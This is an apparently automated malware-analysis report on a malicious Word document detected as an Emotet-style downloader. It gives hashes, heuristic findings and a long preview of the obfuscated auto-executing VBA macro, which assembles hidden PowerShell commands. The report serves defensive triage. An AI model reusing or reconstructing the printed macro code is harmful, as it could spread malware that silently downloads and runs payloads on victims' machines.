Office (OLE) malware analysis — malicious · e578ce62dce575d0

MALICIOUS

Office (OLE)

173.0 KB Created: 2018-03-26 18:40:00 Authoring application: Microsoft Office Word First seen: 2018-07-08

MD5: c6b12d924107c7300c9cbe86fefeaf80 SHA-1: 7520902d1455f8ab63c7a0cfdd484f0f3f902498 SHA-256: e578ce62dce575d09d8f743f7122b523b101ded96bdc2f25ac1d12dcb030b4b1

192 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including an AutoOpen macro, and uses CreateObject, indicating malicious intent. The ClamAV heuristic identifies it as Emodldr, a known downloader. The VBA script contains obfuscated strings that, when decoded, likely form commands or URLs for downloading and executing further stages. The presence of a macros.bas file and the AutoOpen macro strongly suggest this document is intended to be delivered via spearphishing.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

wRFCA = (jicVNj - ChrB(92210))
CreateObject(TGtwqXHmwqLWR).Run haTtuz + Chr(VBA.vbKeyC) + WstNFiTfTwEo + QoErYEncnSHj + ihJLwRKUh, vbHide
For Each RjVVka In jhFYjc

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro

Matched line in script

Attribute VB_Name = "hFfiUFocLKw"
Sub AutoOpen()
On Error Resume Next

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	38688 bytes
SHA-256: `b51ddfe6c61b23abd582fe8875077e2bfa04acd44ce2ce306425aa8fc3724217`
Detection ClamAV: No threats found Obfuscation or payload: likely 640 of 1027 identifiers look randomly generated (e.g. 'hmO0ADcAMwA3ADYAMQBlADEANgAzADUANgAwADgA') — consistent with name-mangling obfuscation. Carved artifact contains 20 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "cwoslaS" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "ChAIKQLlvQNsk" Function YwtEDFaaLGQnHQ() On Error Resume Next For Each jjRqRh In KJNhE zJaXS = 21809 - VNMBP For Each joSzij In rwwwjD Pmmhns = IZSfq Next Next FlZCRNiJcA = qTwCB("mjAnMAMQA1ADkANgA1ADkANAA3AGIAMQBjADcAOABjADMA' \| cONVERtTo-sEcUreStRiNG -k (176qaS", 5, 76) For Each JOVTP In SzSrKi VdALb = 76421 - Wlibi For Each WpbOA In nZZdc iIkqzv = znWfHO Next Next For Each KvjNb In ZikTL OjRDn = 60450 - AoTpW For Each VZibt In lmauoK hPioQj = wUDdA Next Next lPTPW = qTwCB("sYbcUANABmADAANQA1ADIANQBkAGMANABhAGYAZgBkAGIAMABhADMANgAzADcAMABjADAAMwA0ADAAYwA4ADgAYQAzAGIAYgBmADQAOABhADEANAA4AGMAOAA3ADcAMAAyADwc@l", 5, 128) For Each MJZhr In MoGou qfain = 79075 - tFzoWA For Each GAcBV In brbcM Dizsba = kaEvSj Next Next For Each EqrHi In LJjBF HCAJIj = 57700 - JJUAsu For Each lfdkv In AWKFtC uBErB = JJzwu Next Next sWzfniXHM = qTwCB("I7AwADAANwA3AGUANwAxAGQAMQA2AGQAMwBmADgAYgBiADQAYwBhADcAOQBiAGYAYQA0AGYAMABmADkANgBkADYANgBjADUANQAwAGYAMg9paw", 3, 104) For Each izwuW In PoTaiC KAHfp = 6698 - hYzIF For Each zXkuni In jNwBbo dOlUW = arTCd Next Next For Each SGQBIa In JTIOpl YkNQjZ = 10563 - DpzpEa For Each WiBFB In zorrw vTiUw = QiVAzM Next Next BUGzzDq = qTwCB("@wAyAGMAZAA5AGIANQA0ADQAYQBlADAAMABiADYANgBhADYAMQA3ADMAMwBjADYAMwA0ADIAMAA4AGIAMAA1ADAAMwBjADUANgAyAGYAMAA5ADAANAA0ADkAYwBiADkAZABjADcANgBjAGMANAAzFL6uMwD", 2, 147) For Each pTDbDT In VmziM jmYvVY = 69376 - JjVUw For Each orBVi In WLmwNn aDIWD = PzdJZ Next Next For Each pQYdP In djifA vdtBAV = 745 - LEUdO For Each HYcjd In PvlCN OAPpc = vYoSRX Next Next zAmwBVtjfA = qTwCB("TbwAwAGYANgA5AGUAYwBjADgANQA2ADYANwBhADczRv2c", 4, 37) For Each iMNpkw In OEHFEv jVAsr = 77395 - HzwVcc For Each qWoGEr In ICFAFS JtKkjq = CoZZj Next Next For Each jdASw In DohtGO pNDfF = 26032 - cXtFXM For Each Ekhoz In DZwiui hLVYZ = XmREVu Next Next JhouJNK = qTwCB("BEAZgBjAGQANwAzAGIAMgBiAGUAZgAwAGIANAA0ADYAMwAwADMAOQA5ADAAYgBjAGIAOAA2ADAAMQBhADQAYQBjADYANAAzADUAYgAxADkANQA3AGYAZgA1ADUANQA2AGUAZABlADQAZAA0AGIAMwBicjrqW6C", 2, 150) For Each SuIku In lOzDzE bzQQV = 69836 - zwQBU For Each hpbnjM In zUJRMn wBiHW = SOXWA Next Next For Each KpGIz In jrZzsE jirta = 50730 - qMiiYs For Each izIVV In zWhpuD cQtiW = jvzfil Next Next QGbMLlo = qTwCB("uZQAwADYAMwAyAGIAZgA0ADQANAA5ADEAZQA5AGIAMwAyAGEAOAAxAGQAYgA0AGQAOAA3AGUAOAA0ADcAYQBmADIANABhADkAOAAzAGYAMQBmADEANQBiADMAMgBlADcAYwA3ADEANwBkADEAMwA4AGMANAA5ADYAOABmAGMAMgBkAGIAYgA2AGYANwA5ADTt7Uk,,o", 2, 190) For Each iRwGY In EGzrRb LLNBC = 97680 - EIaSD For Each cIYkT In kHPhYa LzPiY = DzkYiw Next Next For Each UILBGn In DpzRzv fCCDVE = 79949 - otSjqU For Each IwUJMW In fmiOX VvHiF = kzjshc Next Next rJkzw = qTwCB("iqvoL0AGMAOQAyADIAMQBiAGEANgA1AGYAYgA4ADUANQA5AGYANAA3AGIANQAzAGIANwBmADQAZQBjADIAZABhADcAZgA5ADkAYQBkAGUAMgAxADgAMQA0ADUAYwBlAGIAMQBhADMAYgA3ADkAZAA5ADEANABmADAANgA5ADQAMgA3ADgAYLqC4", 6, 174) For Each dUSjXz In RhBwp HUWPVG = 64652 - Vtljdw For Each mYDnhS In qMDKRO otLtWk = cUXav Next Next For Each fOfKu In cVCDX Arhqw = 38414 - JYIoWr For Each hkuYdG In srXnz PzIYX = HmuYiJ Next Next dwLvlp = qTwCB("jYANAA1ADkAYwAzADkAZAA3AGIAZgBhADQAZgBjADMAOQA1ADEANQAxADYANwA4ADkAMgAyADYAYQBkAGMAOAAyAUPiiVSUU", 2, 87) For Each UMpWaJ In Qpsbi RoIAKD = 98383 - MKPjQ For Each krmLPP In lDCUwd BZHjuz = SduOa Next Next For Each jczbT In XPcNI djpiz = 80083 - nGCmj For Each BdRNsw In rlwvO jPZGW = qabiVf Next Next biaQM = qTwCB("zcJqADMANQBiADUAZABlADUAZQBjAGMANwA2ADgAMABhADAANQBmADkANwA4ADgAMQBiADgANwAzAGMANgA3AGUANgA2ADAAYwBkADgAMABiADUAYQA0ADcAZQAyADEAYwBkADAANgA4AGEAMwBiAD,GA", 5, 146) For Each jtXvhq In fSvFC OmYslu = 31304 - IAOzf For Each pUZvv In HScUpQ vtOUT = mNECi Next Next For Each RCvYM In KiirTL hYLSU = 93616 - FmaqVS For Each iaPRF In WVrnE iqaHA = piIcX Next Next qlssOulbS = qTwCB("iiEAYQA5ADEAMwA0AGUAZQBhADgAYgA5ADMAMQA2AGYAOAA5ADUAOQBlADQAYwA2AGIAYgBiAGIANQA4AGUAZgBhADEAZgA4ADgAZgAzADIAOQA0ADEAZgBmADgAYQBiADIAZgA5AGIAZQAwAGEAYwAxAGQAOQA2ADkAMQA4ADkANgBlAGUAZAAzAGQAMwA0vrzf", 3, 190) For Each HwRAfc In DtPbI ZOpAL = 63978 - NSSBi For Each aRfnLF In jKJEV OhBHOP = saKAi Next Next For Each uZwii In wiJts boDQIm = 62927 - BrGIqd For Each OlEVh In oRfQW XMbUfm = mOcco Next Next wJcau = qTwCB("BQQA3ADgANAA1ADEAZgA1ADEAOAAxADUAZQA0ADAANgBkAGEANwBiADAAYQA2ADEAMQAyAGUAOQBiADQANwBmAGUAMwBkAGYAMQAyAGMANQA2ADgAMAA3ADAAMgAxADgANABjADAANgAzADAANAA4ADUAOAAwAGQAZgAxAGMAYwAwAGEANAAzADYAYr9C", 3, 183) For Each iGVCT In oBvizE KmmXY = 99112 - pIiaWa For Each iqvlJ In TCFSO bhvci = QHbYzr Next Next For Each Hbwbw In ZuRjIF GfRaN = 23490 - ocPor For Each ZKshU In iRiAD ujIwmR = jwrtI Next Next jUfMzYTMTZ = qTwCB("DBmIATlp", 4, 2) For Each qGbbiM In jjWPB MqaEXf = 25663 - TcMqpz For Each HShQjh In LCqEnt KMtwD = TJrUO Next Next For Each pNrYP In UVNwMf UrTqP = 26561 - tEGwz For Each PvtAV In EWFBWY RDzPqP = QSkcu Next Next wvqMCXUGpa = qTwCB("coHHXAMABjADQAYQBjADgANQBhADcAZABkADcANAAwAGMAYwBkADAAYgA1ADIAZAAzAGMAMQBiAGIAZQAyADQAYgAyAGYAZAA3ADkANgA3AGYAYQAxADIAYQBjADgAYQAwADIAMwBmAGMAYw9NKv", 6, 139) For Each pRLkHv In NVZcMd aqPpz = 34657 - wwupPh For Each lwKQGc In nLUua NvdXDN = raCvi Next Next For Each WtKTpd In Knplk lPdXu = 43914 - zOMiu For Each sOmXj In lKlGz nPtjVz = XBskvD Next Next bzTHzn = qTwCB("GvTPAwADUAZAA4AGQAOQA2ADkAYwBjAGUAZAA2ADIAMAAzADkAYQBiADMAMQBkADMANgAwADAANQBlADMAZAA0ADcAMABmAGMAMgA2ADAAMgA4ADYAZgBhADgANABkAGMAZQAzADcAYQBkADcAZABmAGEAMgA0AGIAZABhAGYAZABkADAAYQA1ADkAZgBjAr4", 5, 187) For Each TzlHjj In WkqYQ hwFzI = 62797 - GHcPsN For Each WRziqT In knYia PRiCL = tOYws Next Next For Each tiEcz In diiaf ClEjJc = 98981 - oVjqHn For Each aQjXK In rTlSQ tKBNs = VcSjtA Next Next OXiZASDs = qTwCB("BtK4zADMANgA3AGYAZgBlADgAOAAxADEAOABhAGQAOAAyADYAZQAxAGn.7", 6, 50) For Each zvlXvO In JwCRC UWKRS = 31953 - aFbmHq For Each mKruWf In NNFvqE swHjLq = wRAOdI Next Next For Each Qwqqaj In SUNGTC fLtcMU = 73564 - KLinRo For Each WnrPjZ In pvqci jjNkv = ZEiZmw Next Next KzaJpJF = qTwCB("6bUAYgA0AGUANQA5AGMANQBiADAAZQBkAGMAMQA5ADgANAA0ADYAOAA4ADkANgA4AGIAZAA2ADIAZAA1ADEAMQAwADgANAA2ADQANgA0ADkAYwAyADIAZABkADQAZgAyADUAOQAwAGYANQA2AD@4cJ", 3, 144) For Each XoiIn In zrzZP WXRVz = 72744 - mVLawz For Each TOWoOF In fBaKn LiZjJ = hYaIik Next Next For Each fhaLGr In TNTlp PcWYDT = 10604 - AifIT For Each TOfUt In qstdS qhcRaq = rRdNj Next Next vUNBAdfjzpq = qTwCB("m76NQBjADAAYQA0ADEAOQBlADIAOQAyADIAZgAyADEAYgA5ADAAYwA2AGIANAA5AGMAMQAwADYAYwA4ADcAYQBjAGQANwAzAGQAZAA2ADgANAAzADEAYwAwAGQAYwAyAGYAMgBjADkAMgBmAGYANABmADIAZQAwADUAMQA2AGYANQAhBt6", 4, 171) For Each VaKiz In DnUiEh rRwXjs = 10649 - dXpiH For Each sbFqAv In XwjNui MVzXk = wwuuuU Next Next For Each hkpBSz In HMRCZp dvtPK = 38270 - NqVBJv For Each voCZsT In DpjMCz DzciH = qivLu Next Next DwpWW = qTwCB("6YJicANABkADIAZQBlAGMAYgBiADAAOQAyADAANwA0ADQANwA2AGIANAA1ADUANQAxADgAZgBiAGUANAA4ADcAMQBlADIAOABkADgANgAxA4Q", 5, 103) For Each vTuTz In DUMXP hWtZFK = 6185 - WlKst For Each BvoNs In fUXJJW Dwcsfi = zlHQcl Next Next For Each SDSwzc In sodRX vZQJzU = 34983 - DGWpf For Each RwqClt In sEJLQ ooPMC = YcSokm Next Next NZLOmiN = qTwCB("dI0..193))))) )%DCi5b2", 3, 13) For Each oWPzw In Uzjwz jiiCUG = 96956 - RdbouT For Each GAzHG In UEldH EvCEs = kVEpa Next Next For Each WIJrD In Ejulp ZYQld = 79254 - FizKGC For Each iloGVQ In kfcfAQ ifKHo = XBSdsN Next Next RzYFCWGT = qTwCB("CSoOshZQBkADEAMgAxADgAOQA3ADgAOAAzAGQAOAAxADcANgAxAGMAYwA0ADAAMQBhADAAMQA4ADkANABhADIANgA2AGIAYQAxADgAMwBmADUANwA0ADAAYQBiADUAZAAzAGYANABjADYAMAA0ADQAZgAyAGYAMQA2ADQAMgBhAGQAOAA4ADk5G", 7, 175) For Each bcYzC In ShSroQ YosnF = 55953 - NWznC For Each ZOdSL In HKWIH cLwqQn = rQEiI Next Next For Each mUfkp In VczRc QtACtU = 26646 - zGBVC For Each OUsDS In JwHdk HNwHkd = nwAanF Next Next jaIZAor = qTwCB("46iv1AGYAMgAyADcANgBkAGMAZgA0AGQAYQBiADQAZgA0ADkAOQAwADMAZABiADUAMwBiAGEAMgAxAGQAZAA3AGIAMABjADEAZgBlADYANgA5AGMAZAAwAGYAZgA3ADcANQA0ADEAYwA0ADAAZABlADYAYQAwADcANQBmADUAMwA0ADcANwBkAGQAZgBiAGUAMTq", 6, 189) For Each nMZjT In ilpAj wanRlX = 35275 - MADrV For Each ZPHOt In zDOzZ JbEWXz = oiVzi Next Next For Each wzPwjP In rJuHqv FBnSm = 57349 - MMiqVa For Each poYGmJ In ihOdmn skwKfO = wHRPWJ Next Next AlKMvMqz = qTwCB("Y %GUAOAA3ADcAYwAyAGYAMABmADQANwAxADEANgAzAGMAMQA0AGIANAsBd", 4, 53) For Each mhHLpd In UVAEm aTYpA = 81705 - UbmjpL For Each rhHrP In DrAHRw lYOvG = CPfjcO Next Next For Each kLNDIr In KwjYT rQiBdY = 95376 - dvPIM For Each XfAff In HNKlA jFTAJL = VFGTL Next Next wLRicFMVVWW = qTwCB("r42l6QzADAAYQA3ADEANQBmADYAYwBjAGUAOQAyADYAOQA2AGMr", 7, 43) For Each CoiHP In vvjrfz tuciF = 94677 - jrsqc For Each DwqCRL In XckZFu FwzOnC = SRsbA Next Next For Each wtSps In pijzjW YbdPM = 907 - tVRhk For Each KjpPzC In UEwtYt cFYzaw = hhAOSw Next Next iDzjwbOrHL = qTwCB("t1NQA5ADYAYwA3ADcAYwBiADYAZQAyADEAYgAwAGUAMQAxADIAYwA2ADAAMgBkAGUlwjNU5", 3, 62) For Each bdbkEG In JtQAh nUijrS = 23219 - owRHmo For Each zpAhDm In aUJTnW MHztN = NCQXz Next Next For Each TwmzK In uDhiO CvCTR = 17145 - IvdFvB For Each bVuwdK In OqvEPi iJzHWu = szfcN Next Next GilXautJdNz = qTwCB(",hmO0ADcAMwA3ADYAMQBlADEANgAzADUANgAwADgAZgBkADcAZgA5AGMAOQBhAGEAMQBlAGQANgBlADUAOAA2ADcAZgA3AGz,", 5, 91) For Each zVqrqz In lZJlA doFGO = 2799 - FdlfzY For Each ljYOU In iptzE SXqEA = HTQZn Next Next For Each KTkQr In IEaVj THNjO = 89523 - BtCWMw For Each jajij In XRnIu vKjfi = RSjFni Next Next ODUzr = qTwCB("L8AMwAxADkAYwBjAGQAMQBhADkANwA3ADYAZQBmADUAYgA3ADYAYwA5AGYAMQBhAGIANwBiADUAMAA3AGIAMABkAGQAZABhADMANwAyADMANgA3ADYAZAA3ADEAZQAyADIAYwAwADAANwA1ADgAOQA3UFNqE", 3, 148) For Each ZMWMIz In RjVhV lWBBTE = 73711 - wZROUv For Each jZdmBr In zAFfL zMoBK = qvQhlj Next Next For Each jpJNno In AItNZw KHMiMQ = 85638 - uOanZK For Each uBGIP In LfjWI UIHipE = CzdNXF Next Next GlAZJLUSEGz = qTwCB("iBiADUAYgA1AGQAOQBmADQANwA5ADkAMAAyAGIAMQA0ADMANQA1ADEANQBlADEAOQAyADkAMgBlAGQAE3NoO", 2, 78) For Each wvvmzO In qNsGR swcfLD = 34380 - inkli For Each HMRnjC In HQktX fduOXY = ADVzC Next Next For Each SthzR In lQMCAQ MHXHMi = 11816 - bECKMK For Each otKKV In KSfJkd SllDkZ = VzwnTo Next Next ZInYZCut = qTwCB("BGEAZQAxADgAZQA3ADMAMgBlADQAYwA4ADgAMgA2AGEANgA3AGQAOQA5ADMAMgBkADkAMgA0ADAAMAA1AGIAOQv,j4v", 2, 85) For Each rofpEk In bTsqv CorwbF = 15231 - qTzZn For Each zruXrj In TiAUft qRsMpl = hGALN Next Next For Each IJiCY In HTuVY csdoNc = 47126 - BSION For Each KGYVuw In hwQwsU HWDcG = tXKdn Next Next asMZciJEmv = qTwCB("f944 &((get-VarIaBLE 'mdr').nAME[3,11,2]-JOiN'') ( ( [runTImE.IntEROpSeRVICes.marsHAL]::PtrTOStRinGAUtO([runTiMe.intERopSeRvIcES.maRShaL]::sECURESf@", 5, 144) For Each AjRpBQ In jzBvZb MutMpV = 15798 - tfOfI For Each zmwviA In CPJPiC XFbiBi = wiznS Next Next For Each mcwEi In hOwcP cOvrAw = 34399 - HvkMPQ For Each RrvwtC In OGunz wpHOML = fGLDl Next Next LuMkBabhcNY = qTwCB("vjoVwDkANwBmADIAYwBiAGMAZQBkADkAZQA3ADcAOAA2ADEAZgA4ADgANgAxAGUANgBjADMAYwBjAGMAZQBlADAANABiADQAZgA5ADYAZAA1ADAAMAA3AGUANwBmAGYAYwA2ADAAOAA1ADUANgBhAGUAMgA0ADgAOABhADEAMQA1ADQAMwBmADQYZj", 6, 178) For Each mMqrko In FQWCi waAow = 24970 - bcRoWz For Each JSLjs In FPoXP zlkiS = jqOjf Next Next For Each KwdtRV In WiIijB YsWqzC = 26186 - UEwSEj For Each DFCuN In iBdza KslsRJ = kCBluF Next Next OqMQXrUrniL = qTwCB("i@pMAYQBhAGEAZQA1AGQAMwAwADMAOAA5ADcAMAA3ADEAZABjAGIAYQA1ADcAYQAwADIANwAwAGEAYgA4AGYAZABjADIANgA2ADAAYgAxADgAOAAzAGQAOQBmAGYANwA5ADkAOAAxADIAYQA3ADUANQA1AGMAYgA1ADEAMgBiADQANQBlAGIAOAA5AGIAMwA0ADQAMQARMQ", 4, 197) For Each LiYwz In GziDj nVurts = 44304 - CGiLfI For Each wTCUI In wHzcjw VKOiM = VOqLIs Next Next For Each ArNFzM In IFMLzd kLqGBA = 8261 - OGFtz For Each UoEwzM In hJGzB ulmLhd = GwUlw Next Next Scnjakr = qTwCB("GJj3cNTringTObSTr( $('76492d1116743f0423413b16050a5345MgB8AGkAMAAzAEcAQgBCAGgAQgBNAHkAaABGAHQAMABEAEkAeQBHAGEARgBvAGcAPQA9AHwANgBhADEANQA5AGQANQBkADEAMQA3ADEANgA0AGQAOABmAGEAMQAwADkAYgA5AGCl", 7, 182) For Each hidGAG In poRIP QSCCk = 18167 - OJkbu For Each PnfVT In wAfiD FqozG = dwjNu Next Next For Each iDwHCS In iOwJRL mWcdi = 26355 - lIwiq For Each jEvFp In zzDIp qrnHf = vaOuLQ Next Next YXakkKfJZ = qTwCB("uA4ADAAMQAzAGQAOAA4AGEANQBkAGQAMAA3ADIAMQBjADgAYgAzADYAZAAwADkAMAAzADkAYQBjAGQAYQA5AGQANQBiADIAZgBmADAAZAA3ADgANgA1AGqLfj9", 2, 116) For Each QCisvA In LGMZTq BNbiO = 74704 - rWMicB For Each PzosiU In NOEII qkiNn = ctMmLz Next Next For Each kRqUqk In uqDwji WRKiKA = 55735 - vMFpw For Each iBvsj In DFhKjV DEioc = NkOaN Next Next orfjHXKfIH = qTwCB("itCPbIAMwA2ADAAOAA4ADQAOAlYd", 6, 20) For Each pCZWiP In lhMpH AwpQk = 171 - pwZGMX For Each jlXTbh In ukijCu kWrOai = NXTiZO Next Next For Each DTMjrl In cQDSs VdiNlz = 57025 - LzHwn For Each rTzLdK In tlHLj wKlhnK = mAVqOI Next Next AJmQRnM = qTwCB("NzIANgBhADIAMwAzADEAMQAzAGIAYQAzADEAZQAzADYAMgAxADIAZgBjADIAYwBhADkAMQA5ADcAMgBkAGMAYgAxAGUAOQBiAGYAOQA5ADAAYwA0ADIrvs3d", 3, 113) For Each bsTFm In tcISs hIcsbB = 4222 - fLZST For Each HFqwHw In CwARC fuVBS = zcXKIu Next Next For Each EoKaR In ioMXM jEttG = 47776 - qwjUO For Each mMhkqf In XNIBUs Lrdipf = WpSBz Next Next YjdUCT = qTwCB("uANgAxADQAMwA2ADEAww54u", 2, 17) For Each WUJXT In tinBDV XdVvsZ = 26718 - KwVCfj For Each QWOjqX In CDlhY LXqaIz = ZAtac Next Next For Each SpfbfF In OFXFhu jiwiU = 44951 - laYzTE For Each EHFFjn In lrYsHD BNFSt = jrWPZ Next Next wZCuiSjDkHR = qTwCB("pLz,AYQA3ADUAZgA0AGQAYgA3AGUANwA1AGYAMgAxADAAYgA0ADcAYwAxADAAYwA5ADQAMwBkADAAMAAxADwUr", 5, 79) For Each IjPHiM In wKzRA Gcuqa = 80345 - UZjMT For Each afLMlq In BfPWkt GGCEvE = mwmAv Next Next For Each LmPVs In nvizc KSaBMu = 73578 - iVIwz For Each TVLhH In oLidAl siqvo = nATwH Next Next GQVlRrh = qTwCB("BDANgA3AGQAZQBjAGU%%vri", 3, 16) For Each PrtVpd In YhwRk pvKzjw = 1563 - ptXsaT For Each JJzZDr In pvptzi WuMFw = ZdBjzH Next Next ikCrcozF = ZwVdOJrOY + """" + rhFwFPJqwSOTzK YwtEDFaaLGQnHQ = VBYIiAT + cUBjHQZwcTrZ + mNDWjhzU + ikCrcozF + iqqwzuVY + asMZciJEmv + Scnjakr + qlssOulbS + biaQM + OqMQXrUrniL + rJkzw + BUGzzDq + OXiZASDs + lPTPW + AJmQRnM + wZCuiSjDkHR + DwpWW + ZInYZCut + sWzfniXHM + GlAZJLUSEGz + QGbMLlo + orfjHXKfIH + bzTHzn + LuMkBabhcNY + GQVlRrh + YjdUCT + vUNBAdfjzpq + GilXautJdNz + JhouJNK + jaIZAor + wJcau + iDzjwbOrHL + dwLvlp + AlKMvMqz + YXakkKfJZ + KzaJpJF + jUfMzYTMTZ + RzYFCWGT + wvqMCXUGpa + zAmwBVtjfA + ODUzr + wLRicFMVVWW + FlZCRNiJcA + NZLOmiN For Each DUNrtD In AFwLqm Set qhQiRk = cNqwLG PVEpOj = 33727 - SQWWHc For Each sOUrB In RhMDn aGXth = MlkuVc Next Next XJOAL = (dzOVbd - ChrB(38173)) End Function Attribute VB_Name = "vCkBljjTdWUh" Function mNDWjhzU() On Error Resume Next For Each DwhXHH In rLDDF fncqFY = 73659 - omcEEq For Each LPRnCZ In qEmhh idWOVl = fQASDt Next Next FlZCRNiJcA = qTwCB("mjAnEj%=IGUnJwiCE&&s6qaS", 5, 16) For Each PKFSDQ In jwmPDL wXDXr = 18804 - LQNjS For Each wuPzk In fBjwT RlChkw = aaitw Next Next For Each Yhuci In twPvhF lOdWY = 53169 - zNLjn For Each LEMtn In NwNia ijYvYk = HcVFD Next Next lPTPW = qTwCB("sYbct %ZrAoHEmwk%=hwc@l", 5, 15) For Each GrjCLV In oSjom IjsGY = 69715 - YtstD For Each adjnpw In whJjw INJMz = JCbWPV Next Next For Each MzmQP In wHNGR wTqDRu = 91246 - BKUEh For Each junlz In izwfTM czUdGk = ZcPIAR Next Next sWzfniXHM = qTwCB("I7DFaaLGQnHQ9paw", 3, 10) For Each zKCfhi In XETbG FwWLkE = 11810 - UjjNU For Each jHiil In ohpuzl iFtBBA = WdFEY Next Next For Each dZbKY In TUmGj ZhjVhw = 6220 - iicDz For Each VdKYii In YPAsdr iVRpMh = RCfVjQ Next Next BUGzzDq = qTwCB("@%FL6uMwD", 2, 1) For Each VzzYNz In qKNbEE RjdEF = 18152 - MMnrQm For Each biDvO In CQCUQu oLENH = nAVCQd Next Next For Each WkVVb In WVOsRQ EOjKw = 5250 - nzIpJ For Each sQcXS In VlcGXH aclQrj = CbuTNQ Next Next zAmwBVtjfA = qTwCB("TbwHwc&&sezRv2c", 4, 7) For Each wRWcjL In lFsqa vYbHMC = 15325 - cBjRIQ For Each QWJKB In YUFiq npXsZQ = zdAnGK Next Next For Each JCGPQ In ARIns mYRwG = 65935 - zqJDXP For Each ocLNs In bbBiw BzFKB = jXRaPk Next Next JhouJNK = qTwCB("Br%=!%fHocjrqW6C", 2, 8) For Each vczMz In iAwdYF vjqKXj = 98834 - hstfHc For Each rANMbo In jbPBjN CUhEG = AjGDjl Next Next For Each qBCOq In hdApSA ciTnLS = 97771 - rkqTrX For Each UthkH In CDnKRD ddzpN = RfszH Next Next QGbMLlo = qTwCB("uRXutm%=hvzioMzGTt7Uk,,o", 2, 15) For Each cWzQLv In WfIHIi uabjcu = 27615 - UNlAFX For Each WctaH In UCnbPS sUVqHU = rELWM Next Next For Each Gfoml In AMjmN wuAINd = 20510 - SXXwV For Each MqXRm In TtMlTW PSoJzE = fIrHc Next Next rJkzw = qTwCB("iqvoL%=ll&&!LqC4", 6, 7) For Each YbniHp In ZEJoR QMFiOp = 82554 - usiNat For Each hEwQpu In sFddd ZKJzr = oMaadR Next Next For Each wYZjDH In IsjIdt YAIQK = 83157 - DwpKCp For Each zhWaC In CkURb UiqEMK = WAwCnl Next Next dwLvlp = qTwCB("j!%VJOUGqAAHIa%!UPiiVSUU", 2, 15) For Each pvbjYB In RLKKi TAofrp = 35520 - HMscA For Each TTzii In FkHIls aCWfti = LVLTLz Next Next For Each PfUPP In hjLDi cGFCw = 44920 - XoUMb For Each NimbQV In HXJhOL YTDwDl = OZHnZU Next Next biaQM = qTwCB("zcJqt %f,GA", 5, 4) For Each wTvTtn In vvFui NEzYol = 61318 - DkVIpw For Each EinrAR In ENOVX dYwDVz = Kbjzo Next Next For Each wHBjCO In ESzRP lWJcNW = 7135 - jiGUa For Each mEzRYi In vRduwh toYuwj = zTYIjh Next Next qlssOulbS = qTwCB("ii%XuuLNvrzf", 3, 6) For Each PcvLb In lzTisl pEfhQp = 25320 - rGMYrw For Each laIrwW In oiiUsF UpBKjm = nqsqUf Next Next For Each tBAvC In rAjLG THPtHO = 55430 - GYzRS For Each AJUaj In nlALwF Lhcuv = Rrsws Next Next wJcau = qTwCB("BQnJbmNDFTS%!!%Yr9C", 3, 13) For Each hUhFVB In dzKijJ MEiGEw = 3236 - RpddD For Each ANHMc In BZGfiJ cFAww = SwMJls Next Next For Each SPplsC In wMXUR kOKlw = 44604 - rQZUN For Each tjITNP In bTlEOU PjVfD = ZjUnEl Next Next jUfMzYTMTZ = qTwCB("DBmBYOkTlp", 4, 4) For Each OuCpU In uJsps EYtQc = 11692 - dKvKu For Each RmZMMU In bpfjQ jraDXq = VwDjPr Next Next For Each QqhpZw In jzSmiZ jLcjP = 33820 - jSdvF For Each IhoEXv In DZcVbF OSYkC = BSwFOz Next Next wvqMCXUGpa = qTwCB("coHHXOqwbfwr%!!%uMPwP9NKv", 6, 16) For Each QkYDu In UqwIN mwWGi = 13009 - KHCNt For Each sdcpjj In YYNTBZ HlSQJK = PffMP Next Next For Each jfXjS In tbCTWO TTjWc = 50844 - AXztHz For Each YwLVYL In jjCtA rzqcC = UXmVNd Next Next bzTHzn = qTwCB("GvTPet %iWSaknJbmr4", 5, 13) For Each QGJii In VwViqz DGnjhc = 54544 - mDjUr For Each cYlbzs In uFWBY fBWSz = DcNkCo Next Next For Each iVaQRf In UOHmm BkzOm = 37376 - qjzZK For Each bOzYI In tPkwUI UbQoIu = fqNWhk Next Next OXiZASDs = qTwCB("BtK4zFiTfTwEo%!!%Zrn.7", 6, 14) For Each BFvWB In wDnXp DsGRof = 12086 - zhZuq For Each iolBaq In KrJoa DjQnt = JqjZYZ Next Next For Each vktjw In rQmQQ sfuzi = 69065 - PIisqj For Each wpEJH In PBPGjP wqHIq = JqEMjo Next Next KzaJpJF = qTwCB("6bet %GRpz@4cJ", 3, 8) For Each UANRr In AjDBM IXoqQo = 33048 - cBYBV For Each zaZrc In UCYOn OdPbso = ihVUAo Next Next For Each ftmbP In RLfbU WsFMc = 61785 - jXwuv For Each wCsVo In vaIvc VHwKN = kXFhdZ Next Next vUNBAdfjzpq = qTwCB("m76qMZEBaXjKaJ%=vvAGDhBt6", 4, 18) For Each DcQzp In 